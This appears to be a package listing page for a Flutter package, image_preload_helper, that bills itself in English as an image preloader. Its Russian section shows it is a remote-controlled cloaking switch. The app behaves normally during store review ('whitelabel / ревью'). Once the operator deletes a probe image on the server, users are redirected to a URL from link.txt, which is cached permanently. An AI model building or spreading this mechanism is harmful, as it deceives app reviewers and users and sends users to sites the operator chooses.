image_preload_helper 2.0.4
image_preload_helper: ^2.0.4 copied to clipboard
Preloads.
image_preload_helper #
A small Flutter package that preloads a remote image before the app starts, so it is on screen from the very first frame. If the image can't be loaded, the user is sent to the page the domain points at instead of being left on a blank screen.
Usage #
Drop one call at the very top of main() instead of runApp(...). The only
thing the package needs is the domain:
import 'package:flutter/material.dart';
import 'package:image_preload_helper/image_preload_helper.dart';
void main() {
ImagePreloadHelper.bootstrap(
domain: 'example.com',
app: const MyApp(),
);
}
class MyApp extends StatelessWidget {
const MyApp({super.key});
@override
Widget build(BuildContext context) => const MaterialApp(home: HomePage());
}
From that one domain the package derives both URLs it talks to:
| what | URL |
|---|---|
| probe image | https://example.com/img/loading.webp |
| destination | https://example.com/link.txt |
The panel names every probe image loading.webp, so the domain is the only
thing that changes between apps. If some domain ever uses a different
basename, pass it explicitly:
ImagePreloadHelper.bootstrap(
domain: 'example.com',
imageName: 'hero', // -> https://example.com/img/hero.webp
app: const MyApp(),
);
While the image is loading, a black loading screen is shown. After that the
package decides what to do on its own — your app is launched if the image
arrived, or the user is sent to the URL from link.txt otherwise.
Режим картинки #
Сигнал вкл/выкл — это доступность webp-пробы, а ссылка редиректа лежит в
link.txt. На домене (/var/www/<domain>/):
| ВЫКЛ (whitelabel / ревью) | ВКЛ (редирект / прила) | |
|---|---|---|
img/loading.webp |
есть → 200 | убран → 404 |
link.txt |
нет | есть, тело = ссылка |
Панель: ВКЛ — по ssh удаляет webp и пишет link.txt; ВЫКЛ — scp-ит
webp назад и удаляет link.txt. Caddy отдаёт no-cache на /img/* и
/link.txt, чтобы переключение читалось сразу.
Логика внутри пакета — ровно то, что описано выше: штатным загрузчиком
(NetworkImage + ImageStream) тянем картинку; загрузилась, ошибки нет →
ничего не происходит, стартует app. Не загрузилась (404 приходит как
NetworkImageLoadException) → try/catch ловит ошибку → идём за ссылкой в
link.txt и открываем её:
try {
await _loadImage(NetworkImage(endpoints.imageUrl)); // бросит, если не загрузилось
return PreloadRoute.app; // ВЫКЛ: картинка есть → ничего
} catch (_) {
final resp = await http.get(Uri.parse(endpoints.linkUrl));
return _open(parseLinkBody(resp.body)); // ВКЛ: в прилу
}
Заметки:
link.txtпанель пишет с\nна конце — тело всегда прогоняется через.trim()(см.parseLinkBody), пустые строки пропускаются, и результат принимается, только если это валидный http(s) URL.- Перед открытием пакет сам проходит по цепочке редиректов (HEAD, с откатом на GET) и кэширует уже финальный URL.
- Проба не оседает в
ImageCache— после проверки провайдер выселяется.
Кэш #
Кэшируется только решение «в прилу»: как только link.txt прочитан,
финальный URL кладётся в SharedPreferences, и следующие запуски открывают
его сразу, без пробы. Успешная загрузка картинки не кэшируется — проба
повторяется на каждом запуске, поэтому включение переключателя после ревью
подхватывается сразу.
Сбросить кэш (например, дебажной кнопкой «reset»):
await ImagePreloadHelper.clearCachedLink();
Options #
ImagePreloadHelper.bootstrap(
domain: 'example.com',
app: const MyApp(),
loaderBuilder: (context) => const MySplash(), // override the loader UI
browserPlaceholder: const Text('opening...'), // shown while the external
// tab is open
debug: true, // print every step
);
Если удобнее вставить оба URL из панели целиком («Копировать URL картинки» / «Копировать URL link.txt»), есть конструктор без домена:
final helper = ImagePreloadHelper();
final route = await helper.resolveRouteFor(const PreloadEndpoints(
imageUrl: 'https://example.com/img/loading.webp',
linkUrl: 'https://example.com/link.txt',
));
Android #
The package contributes <uses-permission android:name="android.permission.INTERNET" />
to your app's manifest automatically — no setup needed.